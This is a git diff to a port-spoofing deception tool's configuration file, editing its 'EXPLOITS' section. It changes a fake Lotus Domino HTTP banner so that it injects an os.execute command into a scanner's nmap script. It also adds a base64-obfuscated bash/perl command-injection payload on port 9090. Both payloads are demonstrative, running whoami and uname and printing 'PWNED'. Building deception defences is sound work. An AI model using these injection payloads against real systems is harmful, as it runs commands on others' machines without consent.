diff --git a/tools/portspoof.conf b/tools/portspoof.conf index 5cba0b3..cb7dfd3 100755 --- a/tools/portspoof.conf +++ b/tools/portspoof.conf @@ -94,9 +94,9 @@ ## EXPLOITS ## # NMAP -#./nmap --script ./scripts/http-domino-enum-passwords.nse -p 80 172.16.37.149 -sC -PN -n --script-args domino-enum-passwords.username='xxx',domino-enum-passwords.password='secr',domino-enum-passwords.idpath='/tmp/test' +# nmap --script http-domino-enum-passwords.nse -p 80 172.16.37.145 -sC -PN -n --script-args domino-enum-passwords.username='xxx',domino-enum-passwords.password='secr',domino-enum-passwords.idpath='/tmp/' -d4 -80 "HTTP/1\.0 200 OK\r\nServer: Apache/(IBM_Lotus_Domino_v\.6\.5\.\d)\r\n\r\n\r\n\r\n\r\n\r\a\r\n\r\n
\r\n\r\n\r\n\x0d\x0a\x0d\x0a" +80 "HTTP/1\.0 200 OK\r\nServer: Apache/(IBM_Lotus_Domino_v\.6\.5\.\d)\r\n\r\n--\r\n--\r\n--\r\n--\r\n\r\n--\r\n--\r\n--\r\n--\r\nos\x2eexecute\x28\x22echo 'You have been PWNed';whoami; uname -a\x22\x29;\x0d\x0a\x0d\x0a" #OS cmd injection payload for bash: $(cat output) and `cat output` injections 9090 "/bin/bash\t-c\t{perl,-e,$0,useSPACEMIME::Base64,cHJpbnQgIlBXTkVEXG4iIHggNSA7ICRfPWBwd2RgOyBwcmludCAiXG51cGxvYWRpbmcgeW91ciBob21lIGRpcmVjdG9yeTogIiwkXywiLi4uIFxuXG4iOw==}\t$_=$ARGV[0];~s/SPACE/\t/ig;eval;$_=$ARGV[1];eval(decode_base64($_));"